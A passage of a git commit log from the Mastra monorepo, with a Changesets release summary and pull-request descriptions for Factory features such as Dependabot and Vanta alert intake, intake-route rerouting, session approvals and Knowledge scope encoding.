- Added: `LINEAR_INTAKE_DISCOVERY_MAX_PAGES`,
`LinearIntakeDiscoverySummary`, `LinearIntakeDiscoveryOptions`,
`issueToIngress`, `createLinearIntakeDiscovery`.
- Added in `issue-reconciler.ts`: `LinearIssueReconcileSummary`,
`LinearIssueReconciler`.
- Changed: `attachLinearIssueReconciler` parameter types.
- Removed from `issue-reconciler.ts`: `issueToIngress`.

### Review effort

- Intake discovery and its tests: medium.
- Reconciler and routes: medium.
- Other files: low.
- Review finding counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 16:48:37 -08:00
dane-ai-mastra[bot]
34dbbd363e
chore: version packages (alpha) (#30241)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases
## @mastra/factory@0.29.0-alpha.0

### Minor Changes

- Intake rules can now set a description on the cards they create, so
cards from integrations show the item's details instead of an empty
description. ([#30253](https://github.com/mastra-ai/mastra/pull/30253))

  ```ts
  return {
    type: 'upsertLinkedWorkItem',
    board: context.intake.board,
    source: 'github-dependabot-alert',
    sourceKey: alert.id,
    title: alert.title,
    description: alert.description,
    url: alert.url,
    stage: context.intake.initialPhase,
    // ...
  };
  ```

- Added Vanta vulnerabilities as a Factory intake source through
MastraConnect. Once you connect Vanta and enable it in intake settings,
each active vulnerability becomes a card labeled `security` with its
severity, package, and remediation date in the description.
([#30255](https://github.com/mastra-ai/mastra/pull/30255))

- Intake integrations are now off until you turn them on. A newly
connected integration no longer starts pulling items onto your boards
until you enable it in the intake settings.
([#30251](https://github.com/mastra-ai/mastra/pull/30251))

- Added two reads that serve a Factory board without sending every card.
`GET /web/factory/projects/:id/boards/:boardKey/phases` returns, for
each phase of the board, how many cards it holds and the first of them
in the order asked, after the search and filters given. `GET
/web/factory/projects/:id/work-items/filter-options` returns the labels
and people the board can be filtered by. `item=<card id>` also answers
for one card and its place in each phase, however deep it lies, without
listing the phase down to it. Each card is named with a `version` of its
body, which `?workItemId=` also sends, so a reader keeps the bodies it
holds and reads only the ones that changed.
([#30177](https://github.com/mastra-ai/mastra/pull/30177))

  ```ts
const res = await
fetch(`/web/factory/projects/${projectId}/boards/work/phases?label=bug&limit=10&cards=true`);
const { phases, matchingTotal, boardTotal, workItems } = await
res.json();
// phases: [{ phase: "intake", total: 42, cards: [{ id, version }, …] },
…]
  ```

- Added Dependabot alerts as a Factory intake source. Turn on **Sync
alerts** under GitHub in intake settings and pick repositories, or `PUT
/web/intake/config` with `{ "dependabot": { "enabled": true,
"sourceIds": ["owner/repo"] } }`. Open alerts in those repositories
become cards labeled `security` with the advisory details as the
description, and they close automatically when the alert is fixed or
dismissed. ([#30254](https://github.com/mastra-ai/mastra/pull/30254))

- Changing an intake route now warns you when cards already on your
boards match a different board, and offers to move those untouched cards
to the start of their new board.
([#30252](https://github.com/mastra-ai/mastra/pull/30252))

### Patch Changes

- Fixed who owns the sessions a Factory card runs in, and who can
approve what they wait on.
([#30146](https://github.com/mastra-ai/mastra/pull/30146))

  **Who owns a card's phase session**

- In a Factory that runs card work on the organization's model keys (the
`factory` and `hybrid` credential settings), every new phase session now
belongs to the Factory itself and uses the organization's keys and the
Factory's default model. That holds whoever moved the card: a person, an
agent, a webhook or a rule. Before, it ran as whoever connected the
repository, or as the person who approved the move.
- The person who moved or approved the card stays on record as the one
who did it. When they move a card from their own session, that session
follows the card, so it hears when the phase waits on someone and can
answer from there.
- If the organization has neither a model key nor a provider of its own,
the run stops with a clear "add an organization key or provider" message
and is not tried again on its own. Add one, then press Retry on the
card.
- In a Factory on personal credentials there are no organization keys,
so a phase runs as the person who moved or approved the card (or whose
session's agent moved it), and otherwise as the person who created the
Factory.

  Sessions that already exist keep their owner.

  **Approving a waiting tool call**

- The person who asked for the work, and anyone whose session follows
the card, can approve or decline any tool call the phase session is
waiting on, a plan or any other tool that asks first. They can do it
from their own session in the sidebar, with `factory_answer_approval`,
or over HTTP:

    ```http
    POST /web/user-sessions/:sessionId/parked-approval
    { "decision": "approve" }
    ```

Add `toolCallId` when the session waits on more than one approval.
Questions that need a typed answer are still answered in the session.

- A session following the card is told when the phase session waits on a
yes or no, for a plan or any other tool, with the call to answer it. In
the chat that notice now has Approve and Decline buttons and a link to
open the waiting session; a notice about a question that needs a typed
answer has the link only.
- Nobody is asked to approve what a phase approves itself: when a
phase's `exitTool` has `autoApprove` and the card matches
`autoApproveWhen`, the run carries on without a notice. This now works
for any exit tool that pauses for a yes or no, not only `submit_plan`.
- When two people answer the same call at once, one answer is used and
the other is told the call was already answered.
- The run then carries on as the phase session's owner. Before, it
carried on as whoever answered, and could fail with "the request has no
authenticated user".
- Following moves with a session: after a hand-over, the session's new
owner can answer and the old one cannot.

  **Sidebar**

A card's phase sessions now show under the session that asked for the
work when child sessions are revealed, marked "run by Factory" when the
Factory owns them, and that session shows "waiting on you", with Approve
and Decline in its menu, while one of them waits on the viewer.

- Mastra Code's Knowledge scopes now use canonical addresses, matching
`@mastra/core`'s one-segment scope values. Factory sessions hold their
org and project ids encoded (`org:acme%3Aeu` for org `acme:eu`), and the
`/knowledge` inspector and Factory Knowledge routes read the same
addresses the code agent writes, instead of encoding host scopes a
second time. ([#30019](https://github.com/mastra-ai/mastra/pull/30019))

- Sandboxes in a Factory with more than ten repositories can now reach
all of them with `git` and `gh`. The Factory mints each sandbox token
for at most ten repositories, so the sandbox now gets one token per
group of ten (`GH_TOKEN`, `GH_TOKEN_2`, …). Each checkout's git
credential helper uses the token that covers it, `github_refresh_token`
refreshes every group, and the environment note tells the agent which
variable to use for `gh` in each repository, for example
`GH_TOKEN=$GH_TOKEN_2 gh pr list -R owner/repo`. Before, a Factory over
ten repositories fell back to a token for the session repository only.
([#30121](https://github.com/mastra-ai/mastra/pull/30121))

- Fixed GitHub pull request cards losing their labels, so intake routes
that match on labels (for example `security`) now route pull requests
too. ([#30250](https://github.com/mastra-ai/mastra/pull/30250))

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`175b4b5`](175b4b5194),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/code-sdk@1.19.1-alpha.0
## @mastra/core@1.84.0-alpha.0

### Minor Changes

- **Breaking (Knowledge alpha):** a `$param` in a Knowledge scope
pattern now matches exactly one segment, so scope values can no longer
contain a raw `:`. Before, the last param took the rest of the address,
so `org:acme:viewer` counted as an `org:$orgId` scope and its holder got
that pattern's `self` rights there.
([#30019](https://github.com/mastra-ai/mastra/pull/30019))

- Agent `scopes` are canonical addresses. An id containing `:`, `/`, `#`
or `%` must be encoded with the new `encodeKnowledgeScopeId`. The raw
form (e.g. `org🅰️b` against `org:$orgId`) fails with "does not match a
declared scope type", and `%` is always read as an escape, so each scope
has one spelling.
- Memory ids are bound encoded: resource `slack:U123` becomes
`resource:slack%3AU123`.
- Patterns of one type with different segment counts no longer overlap,
so `org:$orgId` and `org:$orgId:viewer` can be declared side by side.
- `decodeKnowledgeScopeId` reads an id back from one segment of an
address.

  ```ts
  import { encodeKnowledgeScopeId } from '@mastra/core/knowledge';

const scope = `org:${encodeKnowledgeScopeId('auth0|a:b')}`; //
'org:auth0|a%3Ab', pass this in Agent scopes
  ```

  No data is rewritten:

- **Ids with a colon in the last segment get new addresses.** Before,
the last segment kept a raw `:` (`resource:slack:U123`); now it is
encoded (`resource:slack%3AU123`), so a run reaches a new, empty scope,
and pages, pins and notes stored under the old address stay there
unreached. Nothing moves them.
- **Every other id keeps its address if you pass it through
`encodeKnowledgeScopeId`.** `/`, `#` and `%` were already encoded the
same way, so `org:${encodeKnowledgeScopeId('a/b')}` reaches rows stored
from the raw `org:a/b`. Passing the old raw string unchanged does not:
`org:a/b` is refused, and a raw scope that happened to contain an escape
(`org:a%3Ab`, once stored as `org:a%253Ab`) now means the id `a:b`.
- **Stale rows get nothing from their new match.** A stored scope row
whose address now matches a different declaration than the one it was
created under (e.g. `org:acme:viewer` created under `org:$orgId`, once
`org:$orgId:viewer` is declared) gets none of the new declaration's
access. It is never a `belongsTo` parent, and using it as a scope of the
new declaration fails with an error. Prefix grants of the declaration it
was created under still let their holders read it, as before, without a
role on it.

### Patch Changes

- Fixed web search on models served through the Mastra gateway. An agent
using `webSearchTool` with a model such as `mastra/openai/gpt-6.1-sol`
failed every turn with `unknown tool type "openai:web_search"`, and on
Anthropic and Google models the tool was dropped without an error. These
models now use the gateway's web search.
([#30239](https://github.com/mastra-ai/mastra/pull/30239))

Other provider-native tools on gateway models now fail with a clear
error. Previously the gateway rejected them with a 400 or ignored them,
leaving the model without the tool.

- Fixed a run waiting on a tool approval losing its saved state when the
thread lease expired. This happened when the lease backend (such as
Redis) was down for too long. Before, the run's snapshot was deleted, so
the approval could not be resumed. Now the run resumes normally once the
backend is back. If another run took the thread first, a resume in the
same process is refused and the run keeps waiting.
([#27734](https://github.com/mastra-ai/mastra/pull/27734))
## @mastra/client-js@1.60.1-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
## @mastra/react@1.15.1-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/client-js@1.60.1-alpha.0
## @mastra/deployer-cloud@1.84.0-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/deployer@1.84.0-alpha.0
## @mastra/deployer-cloudflare@1.2.43-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/deployer@1.84.0-alpha.0
## @mastra/deployer-netlify@1.2.43-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/deployer@1.84.0-alpha.0
## @mastra/deployer-sandbox@0.3.28-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/deployer@1.84.0-alpha.0
## @mastra/deployer-vercel@1.2.43-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/deployer@1.84.0-alpha.0
## @mastra/longmemeval@1.1.43-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
## @mastra/opencode@0.1.43-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
## create-factory@0.4.4-alpha.0

### Patch Changes

- `create-factory` no longer asks where your Factory project should run.
New projects are created in the US region by default. To create the
project in the EU instead, pass `--region eu`:
([#30249](https://github.com/mastra-ai/mastra/pull/30249))

  ```bash
  npx create-factory@latest my-mastra-factory --region eu
  ```

- Updated dependencies
[[`4a3920c`](4a3920c7bf),
[`f75eb1a`](f75eb1a197),
[`338ec03`](338ec03925),
[`28e243f`](28e243f638)]:
  - mastra@1.39.1-alpha.0
## @mastra/code-sdk@1.19.1-alpha.0

### Patch Changes

- Mastra Code's Knowledge scopes now use canonical addresses, matching
`@mastra/core`'s one-segment scope values. Factory sessions hold their
org and project ids encoded (`org:acme%3Aeu` for org `acme:eu`), and the
`/knowledge` inspector and Factory Knowledge routes read the same
addresses the code agent writes, instead of encoding host scopes a
second time. ([#30019](https://github.com/mastra-ai/mastra/pull/30019))

- Updated dependencies
[[`be818ec`](be818ecb53),
[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/github-signals@0.5.3-alpha.0
  - @mastra/core@1.84.0-alpha.0
  - @mastra/client-js@1.60.1-alpha.0
## mastracode@0.50.1-alpha.0

### Patch Changes

- Updated dependencies
[[`be818ec`](be818ecb53),
[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`175b4b5`](175b4b5194),
[`9abbec6`](9abbec671c)]:
  - @mastra/github-signals@0.5.3-alpha.0
  - @mastra/core@1.84.0-alpha.0
  - @mastra/code-sdk@1.19.1-alpha.0
## mastra@1.39.1-alpha.0

### Patch Changes

- Added `factory intake-route reroute-preview` and `factory intake-route
reroute` to `mastra api`, for listing and moving untouched cards whose
intake route now points at a different board.
([#30252](https://github.com/mastra-ai/mastra/pull/30252))

  ```sh
  mastra api factory intake-route reroute-preview <factoryProjectId>
  mastra api factory intake-route reroute <factoryProjectId>
  ```

- Improved the Factory board on large projects. The board now loads the
first cards of each phase, then more as you scroll. It no longer
downloads every card of the project.
([#30191](https://github.com/mastra-ai/mastra/pull/30191))

Search, filters and sorting now run on the server. Search matches cards
that contain every word typed, in any order. It also finds a card by its
number or source id.

- Fixed the checkmark on a finished Factory onboarding step sitting 12px
right of the step numbers below it.
([#30248](https://github.com/mastra-ai/mastra/pull/30248))

- Added `mastra api factory board phases` and `mastra api factory
work-item filter-options`, which read the first cards under each phase
of a Factory board and the labels and people it can be filtered by.
([#30177](https://github.com/mastra-ai/mastra/pull/30177))

  ```bash
mastra api factory board phases <project-id> work
'{"label":["bug"],"limit":10}'
  mastra api factory work-item filter-options <project-id>
  ```

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/deployer@1.84.0-alpha.0
## @mastra/deployer@1.84.0-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/mcp-docs-server@1.3.14-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
## @mastra/playground-ui@69.0.1-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/client-js@1.60.1-alpha.0
  - @mastra/react@1.15.1-alpha.0
## @mastra/server@1.84.0-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
## @mastra/elysia@0.1.24-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/express@1.5.28-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/fastify@1.5.28-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/hono@1.7.26-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/koa@1.7.28-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/nestjs@0.3.1-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/next@0.2.42-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/hono@1.7.26-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/tanstack-start@0.2.42-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/hono@1.7.26-alpha.0
  - @mastra/server@1.84.0-alpha.0
## @mastra/github-signals@0.5.3-alpha.0

### Patch Changes

- Fixed delivery of authorized review comments and inline findings even
when bot summaries change or check status is unknown. Limit comment
bursts to ten findings and a counted overflow notice per poll.
([#30246](https://github.com/mastra-ai/mastra/pull/30246))

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
## @mastra/temporal@0.6.1-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/deployer@1.84.0-alpha.0
## create-mastra@1.39.1-alpha.0


## @internal/playground@1.39.1-alpha.0

### Patch Changes

- Updated dependencies
[[`175b4b5`](175b4b5194),
[`5266060`](5266060ccd),
[`9abbec6`](9abbec671c)]:
  - @mastra/core@1.84.0-alpha.0
  - @mastra/client-js@1.60.1-alpha.0
  - @mastra/react@1.15.1-alpha.0
  - @mastra/playground-ui@69.0.1-alpha.0

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-12 16:45:14 -08:00
Abhi Aiyer
4a3920c7bf
feat(factory): offer to move untouched cards when intake routes change (#30252)
## Summary
Intake routes only place a card when it's first created. Adding or
editing a route (for example creating a Security board and routing
`security`-labeled items to it) left existing matching cards on their
old board.

Saving an intake route now previews which **untouched** cards (still in
their board's first phase, with no sessions started) would be routed
elsewhere under the new rules. The route editor shows a warning with the
count and a **Move** action that relocates those cards to the start of
their destination board.

- `GET /web/factory/projects/:id/intake-routes/reroute` previews the
moves
- `POST /web/factory/projects/:id/intake-routes/reroute` applies them

## Test plan
- [x] `vitest run src/routes/intake-routes.test.ts
src/routes/contracts.test.ts`
- [x] `tsc --noEmit` for `mastracode/factory` and
`mastracode/factory-ui`
- [x] Locally, adding a `Labels has security → Security` route offered
to move 447 untouched cards, and Move relocated them

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a team changes where new work should go, cards that have
not started yet can be moved to the right board. The app first shows how
many cards would move. An admin can then move them with one click.

## Summary

This change adds a preview and apply flow for intake-route changes.
After a route save succeeds, the settings UI requests a preview of
untouched cards that the new routes would place on another board. If the
preview reports moves, the UI shows a persistent warning with per-board
counts and a **Move** action. Selecting **Move** applies the reroute.
The apply result reports moved cards and skipped cards.

The change also adds `mastra api` CLI commands for the same preview and
apply routes.

## Behavior

- A card is untouched when all of these are true:
  - It has exactly one stage.
  - That stage is the first phase (`initialPhase`) of its current board.
  - It has no sessions.
- A card is planned for a move only when:
  - It is untouched.
  - The current routes resolve it to a different board.
- A planned card moves to the first phase (`initialPhase`) of its
destination board.
- Apply processes moves one at a time with `moveCardToBoard`. It returns
`moved` and `skipped` counts. A card is skipped when it changed after
the preview.
- Apply requires an organization admin. A member receives 403.
- Apply writes a `rerouted` audit event (`intake_route` action). The
event records the result and the summarized moves.
- Stale previews do not show a warning. A preview failure shows no
warning. A newer preview replaces an older result. A preview with zero
moves dismisses an existing warning.
- After a successful apply, the Move toast reports moved and skipped
counts. The UI then invalidates queries. Apply failures show the
route-save error message.

## Changes by area

- **Backend planning and apply**
(`mastracode/factory/src/boards/reroute.ts`, new file):
  - `planReroute` builds the move list.
  - `summarizeReroute` groups moves by source and destination board.
  - `applyReroute` executes the moves and returns `moved` and `skipped`.
- **Routes** (`mastracode/factory/src/routes/intake-routes.ts`):
- `IntakeRouteRoutesDeps` adds `workItems: Pick<WorkItemsStorage,
'listShared' | 'update' | 'supersedeDecisionsForWorkItem'>`.
  - A `GET` preview endpoint returns a total and a per-board move list.
- A `POST` apply endpoint requires an organization admin. It emits the
audit event.
- **Contracts** (`mastracode/factory/src/routes/contracts.ts`): Adds
response schemas and two contracts at
`/web/factory/projects/:id/intake-routes/reroute`, one for `GET` and one
for `POST`.
- **Audit** (`mastracode/factory/src/storage/domains/audit/actions.ts`):
Adds `rerouted` to `AUDIT_ACTIONS.intake_route`.
- **Wiring** (`mastracode/factory/src/routes/surface.ts`): Passes
`deps.domains.workItems` to `IntakeRouteRoutes`.
- **Client API** (`mastracode/factory-ui/src/hooks/useIntakeRoutes.ts`):
Adds the `RerouteMove` type and the `previewReroute` and `applyReroute`
functions.
- **Settings UI**
(`mastracode/factory-ui/src/ui/domains/settings/components/IntakeRoutesSection.tsx`):
  - After a successful route save, the UI runs a preview.
  - The UI shows the warning and the **Move** action as described above.
- **CLI** (`packages/cli/src/commands/api/index.ts`;
`packages/cli/src/commands/api/descriptors.test.ts`):
  - Adds `intake-route reroute-preview` and `intake-route reroute`.
  - The apply command has a 120,000 ms default timeout for large boards.
  - The descriptor test expects the two new route descriptors.
- **Changesets**:
- `.changeset/thick-spies-wonder.md` declares a minor release for
`@mastra/factory`.
- `.changeset/brave-routes-reroute.md` declares a patch release for
`mastra` and documents the two CLI commands.
- **Tests** (`mastracode/factory/src/routes/intake-routes.test.ts`):
Registers `domains.workItems` with `IntakeRouteRoutes`. The new reroute
test checks these cases:
  - The preview starts empty.
- The preview reports one move from `work` to `docs` for a matching
card.
  - A member receives 403.
- An admin reroute moves only the untouched matching card in the
`intake` phase to the first phase of the destination board.
  - Other cards remain unchanged.
  - The preview is empty after the reroute.
  - The audit event records one move and zero skipped cards.

## Validation

Not available. This review did not run the tests, type checks, or CI on
the current head. The PR description reports that `vitest run
src/routes/intake-routes.test.ts src/routes/contracts.test.ts` and `tsc
--noEmit` passed. Those results are author-reported and not completed
checks on the current head.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 16:32:18 -08:00
Abhi Aiyer
71684b24b9
feat(factory): add Dependabot alerts as an intake source (#30254)
> Stacked on #30253 (card descriptions). Review that first. This PR's
diff is only the Dependabot work.

## Summary
Dependabot alerts never reached Factory boards. The GitHub Platform
worker now syncs open Dependabot alerts every 15 minutes through the
Platform proxy
(`/v1/server/github/repos/:owner/:repo/dependabot/alerts`), for
**repositories explicitly opted in** under the `dependabot` intake
setting. Repositories that aren't opted in are never polled.

- One card per alert (`github:dependabot:<owner>/<repo>#<number>`),
labeled `security` so intake routes can send it to a Security board
- The card description has the advisory summary, severity, package,
CVE/GHSA and first patched version
- Cards close automatically when the alert is fixed or dismissed

## Test plan
- [x] `vitest run src/integrations/dependabot
src/integrations/platform/github`: open alert → card, unopted repo
skipped, locked repo errors isolated
- [x] `tsc --noEmit` in `mastracode/factory`
- [x] Locally, 25 open alerts from `mastra-ai/mastra` landed in Security
→ Backlog with descriptions

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Factory can now watch a code project's security warnings and
turn each open warning into a task card. When a warning is fixed or
dismissed, its card closes. This helps teams see security problems on
their work board.

## Overview

This change adds GitHub Dependabot alerts as an intake source for
Factory boards. The change covers 18 files, with 951 lines added and 107
removed.

## Behavior

- A repository must opt in through the `dependabot` intake setting.
Repositories that do not opt in are not queried.
- A sync task runs every 15 minutes. Alert requests go through the
Platform proxy. Each request asks for up to 100 results.
- Open alerts map to the `open` state. Closed alerts map to
`fixed,dismissed,auto_dismissed`.
- Each open alert creates one card with the `security` label. The card
description leads with the advisory summary. It also includes available
facts such as severity, package, CVE or GHSA identifier, and first
patched version. Descriptions are truncated to 8,000 characters.
- The `alertObserved` rule creates a linked work item only when no
matching item exists. When a matching item exists, observing an open
alert reopens it.
- The `alertClosed` rule acts only on a matching Dependabot card that is
not in a terminal state, and only when the alert state is closed:
  - `fixed` moves the card to the completed phase.
- `dismissed` and `auto_dismissed` move the card to the canceled phase.
- If one repository fails to read, the sync records the repository and
error. It continues with the other repositories.
- If ingest fails for one linked project, the sync records the failure.
It still ingests the same alerts for the other linked projects of that
repository.
- A rule that throws produces a rejected outcome with code `rule_error`.
The error message is capped at 2,000 characters.
- Commits use the alert identity and card revision. A stale commit
reloads card data and retries up to three times, then throws.
- The sweep runs when enabled and due. It logs counts and duration. It
logs a warning when reported failures are nonzero. It logs an error when
the callback throws.

## Changes by area

**Dependabot integration
(`mastracode/factory/src/integrations/dependabot/`)**
- `sync.ts`: Adds `createDependabotSync`, alert-to-ingress conversion,
description truncation, and `DEFAULT_DEPENDABOT_SYNC_INTERVAL_MS`.
- `rules.ts`: Adds `DependabotRules`, `attachDependabotRules`,
`dependabotLabels`, and `boardEventFor`. Attachment returns no handler
when no runtime is available.
- `default-rules.ts`: Adds `defaultDependabotRules`,
`isClosedDependabotState`, and `DependabotEventRules`.
- `sync.test.ts`: Adds tests for card creation with security labels,
skipping opted-out repositories, handling unreadable repositories,
isolating ingest failures per project, and reopening items for open
alerts.

**GitHub platform
(`mastracode/factory/src/integrations/platform/github/`)**
- `integration.ts`: Adds a `dependabot` intake source and
`additionalIntakes`. Adds `listDependabotAlerts`. Sync runs only when
issue reconciliation is enabled and Dependabot rules attach. The token
and stale-installation logic is reorganized. The change keeps existing
checks and outcomes.
- `event-worker.ts`: Adds the optional `syncDependabotAlerts` callback
and `dependabotSyncIntervalMs` setting.

**Rules and types (`mastracode/factory/src/rules/`,
`work-item-branch.ts`, storage)**
- `types.ts`: Adds the `github-dependabot-alert` work-item source and
the `dependabotAlert` rule source. Adds `FACTORY_DEPENDABOT_EVENTS`
(`alertObserved`, `alertClosed`) and `FactoryDependabotRuleContext`.
- `index.ts`: Re-exports the new Dependabot constant and types.
- `validation.ts`, `storage/domains/work-items/base.ts`,
`work-item-branch.ts`: Accept the new source. `work-item-branch.ts` maps
`dependabot-alert` to `github-dependabot-alert`.

**Intake routing**
- `integrations/base.ts`: Adds optional `additionalIntakes` to
`FactoryIntegration`. Each entry has an ID and an intake limited to
`listSources` and `listItems`.
- `routes/surface.ts`: Includes the primary intake and all
`additionalIntakes` entries. Previously it included only the primary
intake.
- `routes/intake.test.ts`: Adds a test. A `dependabot` selection returns
HTTP 400 when GitHub is not registered. It is saved under `dependabot`
when GitHub is registered with its additional intakes.

**Settings UI (`mastracode/factory-ui/`)**
- `GithubIntakeSection.tsx`: Shows Dependabot controls when GitHub is
connected and Dependabot configuration exists. The controls toggle alert
sync and select repositories. They include loading, error, retry, and
saving states.
- `github.msw.test.tsx`: Adds tests. Enabling sync saves `{ enabled:
true, sourceIds: null }`. Selecting a repository saves its ID. The
controls are hidden when the server does not register the feature.

**Changesets**
- `.changeset/sunny-walls-push.md`: Declares a minor release for
`@mastra/factory`. It documents Dependabot intake and its configuration.
- `.changeset/jolly-geckos-change.md`: Declares a minor release for
`@mastra/factory`. It documents that intake rules can set card
descriptions.

## Verification

- The author reports these checks. They were not rerun for this summary:
- `vitest run src/integrations/dependabot
src/integrations/platform/github`
  - `tsc --noEmit` in `mastracode/factory`
- A local run that showed 25 open alerts from `mastra-ai/mastra` in
Security → Backlog with descriptions.
- CI status: not available.

## Dependencies

- This pull request is stacked on a pull request that adds card
descriptions. Review that pull request first.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 16:28:29 -08:00
mastra-platform[bot]
9abbec671c
fix(core): keep a parked run's snapshot when its thread lease lapses (#27734)
Co-authored-by: wardpeet <ward@coding-tech.com>
2026-11-13 01:21:06 +01:00
shreyas-mastra
9b456bbd04
chore(deps): template updates for the MongoDB Bedrock pins and @hono/node-server 2.1.6 (#30218)
Refs SEC-246
Refs SEC-260

## What

The MongoDB Bedrock template was holding a few Vanta findings in place
with stale pins. This updates the template to current published @mastra
packages and drops those pins.

| Finding | Where | Change |
|---|---|---|
| Aikido High AIKIDO-2026-10981 / 10990 on `@ai-sdk/provider-utils`
3.0.28 | template override + `@ai-sdk/amazon-bedrock` 3.0.105 / `ai`
